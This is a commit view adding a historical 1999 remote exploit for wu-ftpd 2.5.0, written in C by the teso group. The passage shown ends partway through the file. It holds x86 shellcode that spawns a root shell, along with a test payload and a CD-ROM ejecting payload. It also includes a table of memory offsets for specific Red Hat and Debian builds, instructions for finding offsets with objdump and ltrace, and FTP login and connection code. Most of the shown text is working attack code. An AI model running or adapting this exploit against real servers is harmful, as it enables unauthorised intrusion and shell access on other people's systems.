diff options
| author | Root THC | 2026-02-24 12:42:47 +0000 |
|---|---|---|
| committer | Root THC | 2026-02-24 12:42:47 +0000 |
| commit | c9cbeced5b3f2bdd7407e29c0811e65954132540 (patch) | |
| tree | aefc355416b561111819de159ccbd86c3004cf88 /exploits/ifafoffuffoffaf.c | |
| parent | 073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff) | |
initial
Diffstat (limited to 'exploits/ifafoffuffoffaf.c')
| -rwxr-xr-x | exploits/ifafoffuffoffaf.c | 1391 |
1 files changed, 1391 insertions, 0 deletions
diff --git a/exploits/ifafoffuffoffaf.c b/exploits/ifafoffuffoffaf.c new file mode 100755 index 0000000..76ba1a1 --- /dev/null +++ b/exploits/ifafoffuffoffaf.c | |||
| @@ -0,0 +1,1391 @@ | |||
| 1 | /* | ||
| 2 | <tmogg> ifaf ? | ||
| 3 | <typo_> integrated ftp attack facility | ||
| 4 | <ElCamTuf> ifafoffuffoffaf | ||
| 5 | <ElCamTuf> sounds much better | ||
| 6 | |||
| 7 | Code by typo/teso '99. http://teso.scene.at/ - DO NOT USE, DO NOT DISTRO. | ||
| 8 | _----------------------------------------------------------------------------_ | ||
| 9 | Ok, so edi found a way to bruteforce.. we made bruteforcing test code, | ||
| 10 | but wuftpd is too boring to finetune it.. enjoy this sploit in the | ||
| 11 | meanwhile. Send me offsets (see below) to typo@scene.at. | ||
| 12 | -____________________________________________________________________________- | ||
| 13 | |||
| 14 | Contributors: | ||
| 15 | Bulba of LaM3rZ (thanks for the shellcode and the example w.sh) | ||
| 16 | edi (found a way to only have to find 2(!) offsets, he is hardcore!) | ||
| 17 | lcamtuf (dziekuje tobie za ostatunia noc) | ||
| 18 | Grue (helped me thinking, and testing, rh5.2, rh5.1 offsets) | ||
| 19 | scut (minor include and style fixes) | ||
| 20 | smiler (asm bugfixing), stealth (hellkit rox) | ||
| 21 | |||
| 22 | Greets: Lam3rZ, ADM, THC, beavuh, and most other people that know us. | ||
| 23 | */ | ||
| 24 | |||
| 25 | #include <sys/types.h> | ||
| 26 | #include <sys/socket.h> | ||
| 27 | #include <sys/utsname.h> | ||
| 28 | #include <sys/time.h> | ||
| 29 | #include <netinet/in.h> | ||
| 30 | #include <netdb.h> | ||
| 31 | #include <fcntl.h> | ||
| 32 | #include <unistd.h> | ||
| 33 | #include <errno.h> | ||
| 34 | #include <signal.h> | ||
| 35 | #include <time.h> | ||
| 36 | #include <getopt.h> | ||
| 37 | #include <string.h> | ||
| 38 | #include <stdlib.h> | ||
| 39 | #include <stdio.h> | ||
| 40 | #include <stdarg.h> | ||
| 41 | |||
| 42 | /* LaM3rZ shellcode */ | ||
| 43 | unsigned char lamerz[]= | ||
| 44 | "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb" | ||
| 45 | "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31" | ||
| 46 | "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\x01\xb0\x27\xcd" | ||
| 47 | "\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31\xdb" | ||
| 48 | "\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d\x5e" | ||
| 49 | "\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46\x09" | ||
| 50 | "\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8\x88" | ||
| 51 | "\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\x89" | ||
| 52 | "\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0\x31" | ||
| 53 | "\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\x30\x62\x69\x6e" | ||
| 54 | "\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x6e\x67"; | ||
| 55 | |||
| 56 | /* teso code: write(1,"teso\n",5); exit(0); */ | ||
| 57 | unsigned char testcode[] = | ||
| 58 | "\xeb\x1c\x31\xc0\x59\x31\xd2\x31\xdb\xb3\x01\xb2\x05\xb0" | ||
| 59 | "\x0b\xfe\xc8\x88\x41\x04\xb0\x04\xcd\x80\x30\xdb\xb0\x01" | ||
| 60 | "\xcd\x80\xe8\xdf\xff\xff\xfftesox"; | ||
| 61 | |||
| 62 | /* teso code: ioctl(, 0x5309, 0); */ | ||
| 63 | unsigned char cdcode[] = | ||
| 64 | "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x36\x5b\xff\x0b\xff\x4b\x04" | ||
| 65 | "\x4b\x80\x6b\x0b\x35\x43\x31\xc0\x31\xc9\x31\xd2\xb0\x05\x66\xb9\x04\x08" | ||
| 66 | "\x66\xba\x9a\x02\xcd\x80\x89\xc3\x31\xc0\x31\xc9\x31\xd2\xb0\x36\x66\xb9" | ||
| 67 | "\x09\x53\xcd\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80\xe8\xc5\xff\xff\xff" | ||
| 68 | "\x30\x64\x65\x76\x30\x63\x64\x72\x6f\x6d\x35"; | ||
| 69 | |||
| 70 | /* uh.. script kiddies suck. */ | ||
| 71 | char *shellcode = cdcode; | ||
| 72 | |||
| 73 | typedef struct dir *dirptr; | ||
| 74 | |||
| 75 | struct dir { | ||
| 76 | char *name; | ||
| 77 | dirptr next; | ||
| 78 | } dirproto; | ||
| 79 | |||
| 80 | void title (void); | ||
| 81 | void usage (const char *me); | ||
| 82 | void connect_to_ftp (void); | ||
| 83 | void log_into_ftp (void); | ||
| 84 | void parseargs (int argc, char **argv); | ||
| 85 | void cleanup_and_exit (void); | ||
| 86 | int x2port (const char *smtn); | ||
| 87 | void err (int syserr, const char *msg, ...); | ||
| 88 | int cwd (const char *path); | ||
| 89 | int mkd (char *name); | ||
| 90 | int rmd (char *name); | ||
| 91 | int is_writable (void); | ||
| 92 | void getpwd (void); | ||
| 93 | int recurse_writable (void); | ||
| 94 | void *xmalloc (size_t size); | ||
| 95 | void *xcalloc (int factor, size_t len); | ||
| 96 | char *xstrdup (const char *s); | ||
| 97 | ssize_t xread (int fd, void *buf, size_t count); | ||
| 98 | ssize_t xwrite (int fd, const void *buf, size_t count); | ||
| 99 | int xbind (int sockfd, struct sockaddr *my_addr, int addrlen); | ||
| 100 | int xsocket (int domain, int type, int protocol); | ||
| 101 | int xsetsockopt (int s, int level, int optname, const void *optval, | ||
| 102 | unsigned int optlen); | ||
| 103 | int xconnect (int sockfd, struct sockaddr *serv_addr, int addrlen); | ||
| 104 | void sighandler (int signal); | ||
| 105 | struct hostent *xgethostbyname (const char *name); | ||
| 106 | struct hostent *xgethostbyaddr (const char *addr, int len, int type); | ||
| 107 | void putserv (const char *fmt, ...); | ||
| 108 | char *getline (void); | ||
| 109 | char *getmsg (const char *msg); | ||
| 110 | int wuftpd_250_sploitit (void); | ||
| 111 | dirptr newdir (char *name); | ||
| 112 | char *getdir (char *stat); | ||
| 113 | char *int2char (int addr); | ||
| 114 | int check_test_return(); | ||
| 115 | |||
| 116 | /*---------------------------------------------------------------- | ||
| 117 | *** How to get offsets *** | ||
| 118 | ------------------------------------------------------------------ | ||
| 119 | Edis elite way of getting offsets: | ||
| 120 | |||
| 121 | objdump --disassemble in.ftpd | egrep -6 "3c 2e|0f bf 43 06" | | ||
| 122 | grep "\$0x80" | awk '{print $8}' | ||
| 123 | ------------------------------------------------------------------ | ||
| 124 | My lame way of getting offsets: | ||
| 125 | (as many people have asked: search for ltrace at http://freshmeat.net/) | ||
| 126 | |||
| 127 | tty1: | ||
| 128 | nc 0 21 | ||
| 129 | USER someuser | ||
| 130 | PASS hispass | ||
| 131 | tty2: | ||
| 132 | ltrace -S -p pid_of_ftpd 2>&1 | egrep "SYS_chdir|longjmp" | ||
| 133 | tty1: | ||
| 134 | CWD /not/current/dir | ||
| 135 | MOO | ||
| 136 | QUIT | ||
| 137 | tty2: | ||
| 138 | first argument of first SYS_chdir is mapped_path offset. | ||
| 139 | first argument of longjmp is errcatch offset | ||
| 140 | ------------------------------------------------------------------ | ||
| 141 | try 4096 and/or 1024 for maxpathlen (works 99% of the time). | ||
| 142 | ------------------------------------------------------------------*/ | ||
| 143 | |||
| 144 | struct sploitdata { | ||
| 145 | char *banner; | ||
| 146 | char *desc; | ||
| 147 | char pad_eax; | ||
| 148 | unsigned int maxpathlen; | ||
| 149 | unsigned int mapped_path; | ||
| 150 | unsigned int errcatch; | ||
| 151 | int (*code)(); | ||
| 152 | int need_writable; | ||
| 153 | }; | ||
| 154 | |||
| 155 | #define START_MAPPED 0x08060000 | ||
| 156 | |||
| 157 | struct sploitdata spdata[] = { | ||
| 158 | { | ||
| 159 | "FTP server (Version wu-2.5.0(1) Tue Jun 8 08:55:12 EDT 1999)", | ||
| 160 | "rh6 - wu-ftpd-2.5.0-2.i386.rpm", | ||
| 161 | 0, | ||
| 162 | 4096, | ||
| 163 | 0x0806a1e0, | ||
| 164 | 0x08077fc0, | ||
| 165 | wuftpd_250_sploitit, | ||
| 166 | 1, | ||
| 167 | }, | ||
| 168 | { | ||
| 169 | "Fri May 21 10:45:57 EDT 1999", | ||
| 170 | "rh5.1 - wu-ftpd-2.5.0-1.RH5-1.i386.rpm", | ||
| 171 | 0, | ||
| 172 | 1024, | ||
| 173 | 0x08066890, | ||
| 174 | 0x0806fcc0, | ||
| 175 | wuftpd_250_sploitit, | ||
| 176 | 1, | ||
| 177 | }, | ||
| 178 | { | ||
| 179 | "Tue Jun 8 11:19:44 EDT 1999", | ||
| 180 | "rh5.2 - wu-ftpd-2.5.0-0.5.2.i386.rpm", | ||
| 181 | 0, | ||
| 182 | 1024, | ||
| 183 | 0x08067504, | ||
| 184 | 0x08077fc0, | ||
| 185 | wuftpd_250_sploitit, | ||
| 186 | 1, | ||
| 187 | }, | ||
| 188 | { | ||
| 189 | "FTP server (Version wu-2.5.0(1) Sat Sep 11 01:19:26 CEST 1999)", | ||
| 190 | "debian 2.1 - standard source compilation", | ||
| 191 | 0, | ||
| 192 | 1024, | ||
| 193 | 0x806928c, | ||
| 194 | 0x8071a80, | ||
| 195 | wuftpd_250_sploitit, | ||
| 196 | 1, | ||
| 197 | }, | ||
| 198 | { | ||
| 199 | "FTP server (Version wu-2.5.0(1)", | ||
| 200 | "rh6.0 wu-ftpd-2.5.0.tar.gz - standard source compilation", | ||
| 201 | 0, | ||
| 202 | 4096, | ||
| 203 | 0x8068f80, | ||
| 204 | 0x8076d60, | ||
| 205 | wuftpd_250_sploitit, | ||
| 206 | 1, | ||
| 207 | }, | ||
| 208 | { | ||
| 209 | NULL, | ||
| 210 | NULL, | ||
| 211 | 0, | ||
| 212 | 0, | ||
| 213 | 0, | ||
| 214 | 0, | ||
| 215 | NULL, | ||
| 216 | 0, | ||
| 217 | } | ||
| 218 | }; | ||
| 219 | |||
| 220 | struct sploitdata *sptr = spdata; | ||
| 221 | |||
| 222 | int debug = 0, | ||
| 223 | disp = 1, | ||
| 224 | fd = 0, | ||
| 225 | nostat = 1, | ||
| 226 | offset_selected = 0; | ||
| 227 | |||
| 228 | struct tesopt { | ||
| 229 | char *user; | ||
| 230 | char *host; | ||
| 231 | char *pass; | ||
| 232 | char *cwd; | ||
| 233 | char *rev; | ||
| 234 | char *dirname; | ||
| 235 | int dirlen; | ||
| 236 | char testonly; | ||
| 237 | char dirscanonly; | ||
| 238 | unsigned short int sport; | ||
| 239 | unsigned short int port; | ||
| 240 | struct hostent *he; | ||
| 241 | } tesopt; | ||
| 242 | |||
| 243 | struct hostinf { | ||
| 244 | char *header; | ||
| 245 | char *pwd; | ||
| 246 | char *writable_dir; | ||
| 247 | int pwdlen; | ||
| 248 | } hostinf; | ||
| 249 | |||
| 250 | #define COLOR | ||
| 251 | |||
| 252 | #ifdef COLOR | ||
| 253 | #define C_NORM "\E[0m" | ||
| 254 | #define C_BOLD "\E[1m" | ||
| 255 | #define C_GREEN "\E[32m" | ||
| 256 | #define C_RED "\E[31m" | ||
| 257 | #define C_BROWN "\E[33m" | ||
| 258 | #define C_BLUE "\E[34m" | ||
| 259 | #define C_PINK "\E[35m" | ||
| 260 | #define C_CYAN "\E[36m" | ||
| 261 | #define C_YELL "\E[33m" | ||
| 262 | #else | ||
| 263 | #define C_NORM "" | ||
| 264 | #define C_BOLD "" | ||
| 265 | #define C_GREEN "" | ||
| 266 | #define C_RED "" | ||
| 267 | #define C_BROWN "" | ||
| 268 | #define C_BLUE "" | ||
| 269 | #define C_PINK "" | ||
| 270 | #define C_CYAN "" | ||
| 271 | #define C_YELL "" | ||
| 272 | #endif | ||
| 273 | |||
| 274 | /* title | ||
| 275 | * | ||
| 276 | * print title | ||
| 277 | * | ||
| 278 | * no return value | ||
| 279 | */ | ||
| 280 | void | ||
| 281 | title (void) | ||
| 282 | { | ||
| 283 | printf (C_BOLD"---"C_GREEN"teso"C_NORM C_GREEN"ftpd"C_NORM C_BOLD"---" | ||
| 284 | C_NORM"\n"); | ||
| 285 | return; | ||
| 286 | } | ||
| 287 | |||
| 288 | /* newdir | ||
| 289 | * | ||
| 290 | * return a pointer to a new dir with name name | ||
| 291 | * | ||
| 292 | * pointer to dir structure | ||
| 293 | */ | ||
| 294 | dirptr | ||
| 295 | newdir (char *name) | ||
| 296 | { | ||
| 297 | dirptr tmp; | ||
| 298 | |||
| 299 | tmp = (dirptr) xmalloc (sizeof (dirproto)); | ||
| 300 | tmp->name = xstrdup (name); | ||
| 301 | tmp->next = NULL; | ||
| 302 | |||
| 303 | return (tmp); | ||
| 304 | } | ||
| 305 | |||
| 306 | /* usage | ||
| 307 | * | ||
| 308 | * print usage | ||
| 309 | * | ||
| 310 | * no return value | ||
| 311 | */ | ||
| 312 | void | ||
| 313 | usage (const char *me) | ||
| 314 | { | ||
| 315 | struct sploitdata *cow; | ||
| 316 | int i = 0; | ||
| 317 | |||
| 318 | /* printf ("usage: %s\n\n", me); */ | ||
| 319 | printf ("-h - this help\n" | ||
| 320 | "-s <server> - specify server\n" | ||
| 321 | "-p <port> - destination port\n" | ||
| 322 | "-f <sourceport> - source port\n" | ||
| 323 | "-v(v) - increase verboseness, use twice for full verboseness\n" | ||
| 324 | "-u <user> - user name to use for login\n" | ||
| 325 | "-P <pass> - password to use for login\n" | ||
| 326 | "-c <startdir> - directory to cwd to after login\n" | ||
| 327 | "-d <writedir> - directory to test writeability with\n" | ||
| 328 | "-r <revhost> - revlookup this host sees you with\n" | ||
| 329 | "-D <dirlen> - specifies the directory length\n" | ||
| 330 | "-T - use test shellcode (prints success, spawns no shell)\n" | ||
| 331 | "-t <type>:\n"); | ||
| 332 | |||
| 333 | for (cow = spdata ; cow->desc ; ++cow) { | ||
| 334 | printf ("%s-%s %3d %s%s-%s\n%s\n%s\n", C_BOLD, C_GREEN, i++, C_NORM, | ||
| 335 | C_BOLD, C_NORM, cow->banner, cow->desc); | ||
| 336 | } | ||
| 337 | printf ("%s-%s EOO %s%s-%s\n", C_BOLD, C_GREEN, C_NORM, C_BOLD, C_NORM); | ||
| 338 | |||
| 339 | exit (EXIT_FAILURE); | ||
| 340 | } | ||
| 341 | |||
| 342 | /* sighandler | ||
| 343 | * | ||
| 344 | * handle signals | ||
| 345 | * | ||
| 346 | * no return value | ||
| 347 | */ | ||
| 348 | void | ||
| 349 | sighandler (const int signal) | ||
| 350 | { | ||
| 351 | printf ("received signal: %d... exiting!\n", signal); | ||
| 352 | cleanup_and_exit (); | ||
| 353 | } | ||
| 354 | |||
| 355 | /* err | ||
| 356 | * | ||
| 357 | * print an error message. if arg0 is set add an errno message (perror like) | ||
| 358 | * exit afterwards | ||
| 359 | * | ||
| 360 | * no return value | ||
| 361 | */ | ||
| 362 | void | ||
| 363 | err (const int syserr, const char *msg, ...) | ||
| 364 | { | ||
| 365 | va_list ap; | ||
| 366 | |||
| 367 | printf ("%serr:%s ", C_RED, C_NORM); | ||
| 368 | |||
| 369 | va_start (ap, msg); | ||
| 370 | vprintf (msg, ap); | ||
| 371 | va_end (ap); | ||
| 372 | |||
| 373 | if (syserr) { | ||
| 374 | printf (": %s\n", sys_errlist[errno]); | ||
| 375 | } else { | ||
| 376 | printf ("\n"); | ||
| 377 | } | ||
| 378 | |||
| 379 | cleanup_and_exit(); | ||
| 380 | |||
| 381 | return; | ||
| 382 | } | ||
| 383 | |||
| 384 | /* parseargs | ||
| 385 | * | ||
| 386 | * parse arguments | ||
| 387 | * | ||
| 388 | * no return value (exit on failure) | ||
| 389 | */ | ||
| 390 | void | ||
| 391 | parseargs (int argc, char **argv) | ||
| 392 | { | ||
| 393 | char c; | ||
| 394 | |||
| 395 | opterr = 0; | ||
| 396 | tesopt.user = "anonymous"; | ||
| 397 | tesopt.pass = "m@y.kr"; | ||
| 398 | tesopt.dirname = "tesotest"; | ||
| 399 | tesopt.port = 21; | ||
| 400 | tesopt.sport = 666; | ||
| 401 | tesopt.cwd = ""; | ||
| 402 | tesopt.dirlen = 255; | ||
| 403 | tesopt.testonly = 0; | ||
| 404 | tesopt.dirscanonly = 0; | ||
| 405 | |||
| 406 | while ((c = getopt (argc, argv, "vhs:p:f:u:P:c:d:D:r:t:bTo")) != EOF) { | ||
| 407 | switch (c) { | ||
| 408 | case 'v': ++debug; | ||
| 409 | break; | ||
| 410 | case 'h': usage (argv[0]); | ||
| 411 | break; | ||
| 412 | case 's': tesopt.host = optarg; | ||
| 413 | break; | ||
| 414 | case 'p': if (optarg != NULL) | ||
| 415 | tesopt.port = x2port (optarg); | ||
| 416 | break; | ||
| 417 | case 'f': if (optarg != NULL) | ||
| 418 | tesopt.sport = x2port (optarg); | ||
| 419 | break; | ||
| 420 | case 'u': if (optarg != NULL) | ||
| 421 | tesopt.user = optarg; | ||
| 422 | break; | ||
| 423 | case 'P': if (optarg != NULL) | ||
| 424 | tesopt.pass = optarg; | ||
| 425 | break; | ||
| 426 | case 'c': if (optarg != NULL) | ||
| 427 | tesopt.cwd = optarg; | ||
| 428 | break; | ||
| 429 | case 'd': if (optarg != NULL) | ||
| 430 | tesopt.dirname = optarg; | ||
| 431 | break; | ||
| 432 | case 'r': if (optarg != NULL) | ||
| 433 | tesopt.rev = xstrdup (optarg); | ||
| 434 | break; | ||
| 435 | case 'D': tesopt.dirlen = atoi(optarg); | ||
| 436 | break; | ||
| 437 | case 't': sptr += atoi(optarg); | ||
| 438 | offset_selected = 1; | ||
| 439 | if (!sptr->desc) { | ||
| 440 | err (0, "invalid offset set"); | ||
| 441 | } | ||
| 442 | break; | ||
| 443 | |||
| 444 | case 'T': shellcode = testcode; | ||
| 445 | tesopt.testonly = 1; break; | ||
| 446 | case 'o': tesopt.dirscanonly = 1; break; | ||
| 447 | |||
| 448 | } | ||
| 449 | } | ||
| 450 | |||
| 451 | if (tesopt.host == NULL) | ||
| 452 | err (0, "server not specified (see -h)"); | ||
| 453 | if (tesopt.port == 0) | ||
| 454 | err (0, "port not or incorrectly specified (see -h)"); | ||
| 455 | if (tesopt.sport == 0) | ||
| 456 | err (0, "sport not or incorrectly specified (see -h)"); | ||
| 457 | |||
| 458 | if (tesopt.dirlen == 0) | ||
| 459 | err (0, "illegal dirlen!\n"); | ||
| 460 | |||
| 461 | tesopt.he = xgethostbyname (tesopt.host); | ||
| 462 | |||
| 463 | return; | ||
| 464 | } | ||
| 465 | |||
| 466 | struct hostent * | ||
| 467 | xgethostbyname (const char *name) | ||
| 468 | { | ||
| 469 | struct hostent *tmp; | ||
| 470 | |||
| 471 | tmp = gethostbyname (name); | ||
| 472 | if (tmp == NULL) | ||
| 473 | err (1, "cannot gethostbyname"); | ||
| 474 | |||
| 475 | return (tmp); | ||
| 476 | } | ||
| 477 | |||
| 478 | struct hostent * | ||
| 479 | xgethostbyaddr (const char *addr, int len, int type) | ||
| 480 | { | ||
| 481 | struct hostent *tmp; | ||
| 482 | |||
| 483 | tmp = gethostbyaddr (addr, len, type); | ||
| 484 | if (tmp == NULL) | ||
| 485 | err(1,"cannot gethostbyaddr"); | ||
| 486 | |||
| 487 | return (tmp); | ||
| 488 | } | ||
| 489 | |||
| 490 | /* xmalloc | ||
| 491 | * | ||
| 492 | * wrap malloc with error handling | ||
| 493 | * | ||
| 494 | * return or abort | ||
| 495 | */ | ||
| 496 | void * | ||
| 497 | xmalloc (size_t size) | ||
| 498 | { | ||
| 499 | void *tmp = malloc (size); | ||
| 500 | |||
| 501 | if (tmp == NULL) | ||
| 502 | err (1, "malloc failed"); | ||
| 503 | |||
| 504 | return (tmp); | ||
| 505 | } | ||
| 506 | |||
| 507 | /* xcalloc | ||
| 508 | * | ||
| 509 | * wrap calloc with error handling | ||
| 510 | * | ||
| 511 | * return or abort | ||
| 512 | */ | ||
| 513 | void * | ||
| 514 | xcalloc (int factor, size_t len) | ||
| 515 | { | ||
| 516 | void *new = calloc (factor, len); | ||
| 517 | |||
| 518 | if (new == NULL) | ||
| 519 | err (1, "calloc failed"); | ||
| 520 | |||
| 521 | return (new); | ||
| 522 | } | ||
| 523 | |||
| 524 | /* xstrdup | ||
| 525 | * | ||
| 526 | * wrap strdup with error handling | ||
| 527 | * | ||
| 528 | * return or abort | ||
| 529 | */ | ||
| 530 | char * | ||
| 531 | xstrdup (const char *s) | ||
| 532 | { | ||
| 533 | char *tmp; | ||
| 534 | |||
| 535 | tmp = strdup (s); | ||
| 536 | if (tmp == NULL) | ||
| 537 | err (1, "strdup failed"); | ||
| 538 | |||
| 539 | return (tmp); | ||
| 540 | } | ||
| 541 | |||
| 542 | /* xread | ||
| 543 | * | ||
| 544 | * read with error handling | ||
| 545 | * | ||
| 546 | * return length of readen data | ||
| 547 | */ | ||
| 548 | ssize_t | ||
| 549 | xread (int fd, void *buf, size_t count) | ||
| 550 | { | ||
| 551 | int tmp; | ||
| 552 | |||
| 553 | tmp = read (fd, buf, count); | ||
| 554 | if (tmp < 1) | ||
| 555 | err (1, "read failed"); | ||
| 556 | |||
| 557 | return (tmp); | ||
| 558 | } | ||
| 559 | |||
| 560 | /* xwrite | ||
| 561 | * | ||
| 562 | * write with error handling | ||
| 563 | * | ||
| 564 | * return length of written data | ||
| 565 | */ | ||
| 566 | ssize_t | ||
| 567 | xwrite (int fd, const void *buf, size_t count) | ||
| 568 | { | ||
| 569 | int tmp; | ||
| 570 | |||
| 571 | tmp = write (fd, buf, count); | ||
| 572 | if (tmp < 0) | ||
| 573 | err (1, "write failed"); | ||
| 574 | |||
| 575 | return (tmp); | ||
| 576 | } | ||
| 577 | |||
| 578 | /* xbind | ||
| 579 | * | ||
| 580 | * bind with error handling | ||
| 581 | * | ||
| 582 | * return bound socket | ||
| 583 | */ | ||
| 584 | int | ||
| 585 | xbind (int sockfd, struct sockaddr *my_addr, int addrlen) | ||
| 586 | { | ||
| 587 | int tmp; | ||
| 588 | |||
| 589 | tmp = bind (sockfd, (struct sockaddr *) my_addr, addrlen); | ||
| 590 | if (tmp < 0) | ||
| 591 | err (1, "bind failed"); | ||
| 592 | |||
| 593 | return (tmp); | ||
| 594 | } | ||
| 595 | |||
| 596 | /* xsocket | ||
| 597 | * | ||
| 598 | * socket with error handling | ||
| 599 | * | ||
| 600 | * return allocated socket descriptor | ||
| 601 | */ | ||
| 602 | int | ||
| 603 | xsocket (int domain, int type, int protocol) | ||
| 604 | { | ||
| 605 | int tmp; | ||
| 606 | |||
| 607 | tmp = socket (domain, type, protocol); | ||
| 608 | if (tmp < 0) | ||
| 609 | err (1, "socket failed"); | ||
| 610 | |||
| 611 | return (tmp); | ||
| 612 | } | ||
| 613 | |||
| 614 | /* xsetsockopt | ||
| 615 | * | ||
| 616 | * setsockopt with error handling | ||
| 617 | */ | ||
| 618 | int | ||
| 619 | xsetsockopt (int s, int level, int optname, const void *optval, | ||
| 620 | unsigned int optlen) | ||
| 621 | { | ||
| 622 | int tmp; | ||
| 623 | |||
| 624 | tmp = setsockopt (s, level, optname, optval, optlen); | ||
| 625 | if (tmp < 0) | ||
| 626 | err (1, "setsockopt failed"); | ||
| 627 | |||
| 628 | return (tmp); | ||
| 629 | } | ||
| 630 | |||
| 631 | /* xconnect | ||
| 632 | * | ||
| 633 | * connect with error handling | ||
| 634 | */ | ||
| 635 | int | ||
| 636 | xconnect (int sockfd, struct sockaddr *serv_addr, int addrlen) | ||
| 637 | { | ||
| 638 | int tmp; | ||
| 639 | |||
| 640 | tmp = connect (sockfd, serv_addr, addrlen); | ||
| 641 | if (tmp < 0) | ||
| 642 | err (1, "connect failed"); | ||
| 643 | |||
| 644 | return (tmp); | ||
| 645 | } | ||
| 646 | |||
| 647 | |||
| 648 | /* connect_to_ftp | ||
| 649 | * | ||
| 650 | * connect to ftpserver and resolve local ip | ||
| 651 | * | ||
| 652 | * return nothing | ||
| 653 | */ | ||
| 654 | void | ||
| 655 | connect_to_ftp (void) | ||
| 656 | { | ||
| 657 | int i = 1; | ||
| 658 | struct sockaddr_in sin; | ||
| 659 | struct hostent *he; | ||
| 660 | |||
| 661 | |||
| 662 | fd = xsocket (AF_INET, SOCK_STREAM, 0); | ||
| 663 | xsetsockopt (fd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof (i)); | ||
| 664 | |||
| 665 | bzero (&sin, sizeof (sin)); | ||
| 666 | |||
| 667 | sin.sin_family = AF_INET; | ||
| 668 | // sin.sin_port = htons (tesopt.sport); | ||
| 669 | sin.sin_addr.s_addr = 0; | ||
| 670 | |||
| 671 | xbind (fd, (struct sockaddr*) &sin, sizeof (sin)); | ||
| 672 | |||
| 673 | sin.sin_port = htons (tesopt.port); | ||
| 674 | sin.sin_family = AF_INET; | ||
| 675 | |||
| 676 | memcpy (&sin.sin_addr.s_addr, tesopt.he->h_addr, sizeof (struct in_addr)); | ||
| 677 | |||
| 678 | xconnect (fd, (struct sockaddr*) &sin, sizeof (sin)); | ||
| 679 | |||
| 680 | /* this is a good time to get our revlookup (if not user defined) */ | ||
| 681 | if (tesopt.rev == NULL) { | ||
| 682 | i = sizeof (sin); | ||
| 683 | getsockname (fd, (struct sockaddr *) &sin, &i); | ||
| 684 | he = gethostbyaddr ((char *) &sin.sin_addr, | ||
| 685 | sizeof (sin.sin_addr), AF_INET); | ||
| 686 | tesopt.rev = xstrdup (he->h_name); | ||
| 687 | } | ||
| 688 | printf ("Connected! revlookup is: %s, logging in...\n", tesopt.rev); | ||
| 689 | |||
| 690 | return; | ||
| 691 | } | ||
| 692 | |||
| 693 | /* putserv | ||
| 694 | * | ||
| 695 | * send data to the server | ||
| 696 | */ | ||
| 697 | void | ||
| 698 | putserv (const char *fmt, ...) | ||
| 699 | { | ||
| 700 | va_list ap; | ||
| 701 | unsigned char output[1024]; | ||
| 702 | int i, total; | ||
| 703 | |||
| 704 | memset (output, '\0', sizeof (output)); | ||
| 705 | va_start (ap, fmt); | ||
| 706 | vsnprintf (output, sizeof (output) - 1, fmt, ap); | ||
| 707 | va_end (ap); | ||
| 708 | |||
| 709 | /* this is edis code | ||
| 710 | */ | ||
| 711 | total = strlen (output); | ||
| 712 | for (i = 0; i < total; i++) { | ||
| 713 | if (output[i] == 0xff) { | ||
| 714 | memmove (output + i + 1, output + i, total - i); | ||
| 715 | total++; | ||
| 716 | i++; | ||
| 717 | } | ||
| 718 | } | ||
| 719 | |||
| 720 | if (disp != 0 && (debug > 1)) | ||
| 721 | printf ("%s%s%s", C_BLUE, output, C_NORM); | ||
| 722 | |||
| 723 | xwrite (fd, output, total); | ||
| 724 | |||
| 725 | return; | ||
| 726 | } | ||
| 727 | |||
| 728 | #define LINEBUFLEN 8192 | ||
| 729 | char linebuf[LINEBUFLEN]; /* saves us free()ing trouble. */ | ||
| 730 | |||
| 731 | /* getline | ||
| 732 | * | ||
| 733 | * get next line from server or local buffer | ||
| 734 | */ | ||
| 735 | char * | ||
| 736 | getline (void) | ||
| 737 | { | ||
| 738 | char y[2]; | ||
| 739 | int i = 0; | ||
| 740 | |||
| 741 | memset (linebuf, '\0', sizeof (linebuf)); | ||
| 742 | strcpy (y, "x"); | ||
| 743 | |||
| 744 | while (strncmp (y, "\n", 1) != 0) { | ||
| 745 | if (i > (sizeof (linebuf) + 2)) { | ||
| 746 | err (0, "getline() buffer full"); | ||
| 747 | } | ||
| 748 | i += xread (fd, y, 1); | ||
| 749 | strcat (linebuf, y); | ||
| 750 | } | ||
| 751 | |||
| 752 | if (disp != 0 && debug > 0) { | ||
| 753 | #ifdef COLOR | ||
| 754 | if (nostat != 0) { | ||
| 755 | char color[64]; | ||
| 756 | |||
| 757 | memset (color, '\0', sizeof (color)); | ||
| 758 | |||
| 759 | switch (linebuf[0]) { | ||
| 760 | case '2': strcpy (color, C_CYAN); | ||
| 761 | break; | ||
| 762 | case '3': strcpy (color, C_BROWN); | ||
| 763 | break; | ||
| 764 | case '4': strcpy (color, C_RED); | ||
| 765 | break; | ||
| 766 | case '5': strcpy (color, C_RED); | ||
| 767 | break; | ||
| 768 | default: break; | ||
| 769 | } | ||
| 770 | |||
| 771 | printf ("%s", color); | ||
| 772 | } | ||
| 773 | #endif | ||
| 774 | if (nostat != 0 || debug > 1) | ||
| 775 | printf ("%s", linebuf); | ||
| 776 | #ifdef COLOR | ||
| 777 | if (nostat != 0) | ||
| 778 | printf ("%s", C_NORM); | ||
| 779 | #endif | ||
| 780 | } | ||
| 781 | |||
| 782 | return (linebuf); | ||
| 783 | } | ||
| 784 | |||
| 785 | /* getmsg | ||
| 786 | * | ||
| 787 | * discard lines until expected response or error is reported | ||
| 788 | */ | ||
| 789 | char * | ||
| 790 | getmsg (const char *msg) | ||
| 791 | { | ||
| 792 | char *line; | ||
| 793 | int i = strlen (msg); | ||
| 794 | |||
| 795 | do { | ||
